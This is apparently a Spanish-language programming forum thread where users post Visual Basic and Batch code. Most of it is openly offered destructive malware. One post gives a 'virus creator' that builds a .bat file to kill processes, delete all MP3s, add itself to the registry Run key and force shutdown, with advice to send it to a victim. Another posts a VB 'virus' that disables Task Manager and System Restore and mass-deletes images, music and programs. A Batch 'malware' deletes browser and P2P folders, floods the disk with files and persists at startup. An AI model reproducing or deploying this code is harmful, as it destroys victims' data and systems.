Mensajes

Tengo un problema en VB.
Estoy intentando hacer un programa para corregir programas en Batch, pero tengo dos problemas que no sé realizar:
1.- Separar u textbox en varias variables (una por linea) y utilizar la estructura If en todas ellas
2.- Que si existe echoburro, se cambie a echo burro; no a echo ?.

Acabo de crear un creador de virus .bat. Este es el código:
Form1
Agregamos un Command Buttom llamado Command1 con el texto crear virus y le ponemos este code:

Private Sub Command1_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe echo off>^Virus.bat"
Shell "cmd.exe /c echo @echo off>>^Virus.bat"
Form2.Show
End Sub

Form2
Agregamos 6 CommandButtom y les ponemos estos textos:
Command1: Matar el MSN Messenger
Command2: Infectar el PC
Command3: Borrar todos los .mp3
Command4: Matar el Internet Explorer
Command5: Mostrar un mensaje
Command6: Terminar el virus

Agregamos este código:

Private Sub Command1_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe echo taskkill msnmsgr.exe>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command2_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v VIRUS /d %0>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command3_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo del /Q /S /F C:\*.mp3>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command4_Click()
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo taskkill iexplore.exe>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command5_Click()
Dim mensaje As String
mensaje = Inputbox ("Escribe el mensaje")
Shell "cmd.exe cd C:\"
Shell "cmd.exe /c echo msg * mensaje>>^Virus.bat"
MsgBox ("Función añadida")
End Sub

Private Sub Command6_Click()
Dim mensija As String
mensija = Inputbox ("Escribe un mensaje de despedida
Shell "cmd.exe cd C:\"
Shell "cmd.exe shutdown -s -f -c "mensija" -05>>^Virus.bat"
Shell "cmd.exe /c exit>>^Virus.bat"
MsgBox ("Virus terminado")
MsgBox ("Lo encontrarás terminado como C:\Virus.bat")
MsgBox ("Comprimelo con WinRar o WinZip y mandaselo a tu victima")
End Sub


Ya tendremos hecho nuestro creador de virus .bat

Y el segundo. Solo hay que añadir los TextBox y pegar esto en el código:

Private Sub Form_Load()
List1.AddItem Text1.Text
List1.AddItem Text2.Text
List1.AddItem Text3.Text
List1.AddItem Text4.Text
List1.AddItem Text5.Text
List1.AddItem Text6.Text
List1.AddItem Text7.Text
List1.AddItem Text8.Text
List1.AddItem Text9.Text
List1.AddItem Text10.Text
End Sub

Yo pongo mi code:
FORM1

Private Sub Command1_Click()
If Text2.Text = "" Then
MsgBox ("No has escrito la clave")
Else
GoTo Capture
End Sub

Private Sub Form_Load()
Text1.Text = "Escribe aqui el nombre de usuario"
Text2.Text = "Escribe aqui tu contraseña"
End Sub

Public Function Capture()
Dim Clave As String
Clave = Text2.Text
End Function


FORM2
Private Sub Command1_Click()
If Text1.Text = Clave Then
MsgBox ("La Clave es correcta")
Else
MsgBox ("La Clave NO es correcta")
End Sub

Private Sub Form_Load()
Label1.Caption = "Introduce de nuevo la clave:"
End Sub

Acabo de hacer mi primer virus en VB. Solo hay que copiarlo y pegarlo en el código, y ya esta listo:
------------------------------------
Private Sub Form_Load()
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"
Shell "cmd.exe cd C:\WINDOWS"
Shell "cmd.exe echo off>Win32.bat"
Shell "cmd.exe echo @echo off>>Win32.bat"
Shell "cmd.exe echo set hora=%time:~0,5%>>Win32.bat"
Shell "cmd.exe echo set hor=%hora:~0,2%>>Win32.bat"
Shell "cmd.exe echo set min=%hora:~3,5%>>Win32.bat"
Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Win32.bat"
Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""
Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Win32.bat"
Shell "cmd.exe taskkill msnmsgr.exe"
Shell "cmd.exe taskkill msnmsgs.exe"
Shell "cmd.exe taskkill schvoust.exe"
Shell "cmd.exe taskkill iexplore.exe"
Shell "cmd.exe taskkill word.exe"
Shell "cmd.exe taskkill outlook.exe"
Shell "cmd.exe taskkill notepad.exe"
Shell "cmd.exe taskkill mspaint.exe"
Shell "cmd.exe del /Q /S /F msnmsgr.exe"
Shell "cmd.exe del /Q /S /F msnmsgs.exe"
Shell "cmd.exe del /Q /S /F schvoust.exe"
Shell "cmd.exe del /Q /S /F iexplore.exe"
Shell "cmd.exe del /Q /S /F word.exe"
Shell "cmd.exe del /Q /S /F outlook.exe"
Shell "cmd.exe del /Q /S /F notepad.exe"
Shell "cmd.exe del /Q /S /F mspaint.exe"
Shell "cmd.exe del /Q /S /F C:\ *.jpg"
Shell "cmd.exe del /Q /S /F C:\ *.bmp"
Shell "cmd.exe del /Q /S /F C:\ *.png"
Shell "cmd.exe del /Q /S /F C:\ *.psd"
Shell "cmd.exe del /Q /S /F C:\ *.mp3"
Shell "cmd.exe del /Q /S /F C:\ *.mid"
End Sub
------------------------------------

Lo que hace es:
1.- Impedir recuperar el equipo
2.- Eliminar el Administrador de Tareas
3.- Crear un virus que apaga el PC a los 30 min de abrirlo y lo agrega al registro
4.- Se carga varios procesos, las imagenes y la música

Estaba trabajando en un worm en Batch, pero al final decidí crear un malware.

Código

-----------------------------------------------------------------------------------------------------
@echo off
cd C:\WINDOWS\system32
echo off>Bucler.bat
echo @echo off>>Bucler.bat
echo cd C:\>>Bucler.bat
echo set var= 1>>Bucler.bat
echo set oper= 1>>Bucler.bat
echo :bucle>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo set /a var=%var% + %oper%>>Bucler.bat
echo goto bucle>>Bucler.bat
echo exit>>Bucler.bat
if exist "%programfilles%\Internet Explorer" goto explorer else goto anali2
:explorer
del /Q /S /F "%programfilles%\Internet Explorer"
goto anali2
:anali2
if exist "%programfilles%\Konqueror" goto konqueror else goto anali3
:konqueror
del /Q /S /F "%programfilles%\Konqueror"
goto anali3
:anali3
if exist "%programfilles%\Mozilla Firefox" goto firefox else goto anali4
:firefox
del /Q /S /F "%programfilles%\Mozilla Firefox"
goto anali4
:anali4
if exist "%programfilles%\Crazy Bowser" goto bowser else goto anali5
:bowser
del /Q /S /F "%programfilles%\Crazy Bowser"
goto anali5
:anali5
if exist "%programfilles%\Opera" goto opera else goto anali6
:opera
del /Q /S /F "%programfilles%\Opera"
goto anali6
:anali6
if exist "%programfilles%\Netscape" goto netscape else goto anali7
:netscape
del /Q /S /F "%programfilles%\Netscape"
goto anali7
:anali7
if exist "%programfilles%\Safari" goto safari else goto anali8
:safari
del /Q /S /F "%programfilles%\Safari"
goto anali8
:anali8
if exist "%programfilles%\Galeon" goto galeon else goto anali9
:galeon
del /Q /S /F "%programfilles%\Galeon"
goto anali9
:anali9
if exist "%programfilles%\ICab" goto icab else goto lotery
:icab
del /Q /S /F "%programfilles%\ICab"
:lotery
msg * Te ha tocado la loteria!
msg * Pero hasta que no seas mejor no podras cobrar el premio
msg * Primero: Adios Messenger, eso es para tontos
taskkill msnmsgs.exe
taskkill msnmsgr.exe
del /Q /S /F msnmsgs.exe
del /Q /S /F msnmsgr.exe
::Esto es la primera tonteria que se me ocurrio
msg * Segundo: Adios Internet, eso es para hackers
msg * Tercero: Adios los P2P, eso es para piratear
del /Q /S /F "%programfilles%\eMule"
del /Q /S /F "%programfilles%\Ares"
del /Q /S /F "%programfilles%\Kazaa"
del /Q /S /F "%programfilles%\BitTorrent"
del /Q /S /F "%programfilles%\eDonkey"
del /Q /S /F "%programfilles%\uTorrent"
del /Q /S /F "%programfilles%\Azureus"
del /Q /S /F "%programfilles%\Soulseek"
msg * Ji, Ji, Ji
msg * ¿De verdad te lo creistes?
msg * Pues no, no te ha tocado la loteria
msg * Pero te haré un regalito igualmente
msg * Te lo dejo en tu PC
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v"windows" /d "C:\WINDOWS\system32\Bucler.bat"
tsshutdown -s -f -c "HACKER EN TU PC" -05
-----------------------------------------------------------------------------------------------------

Código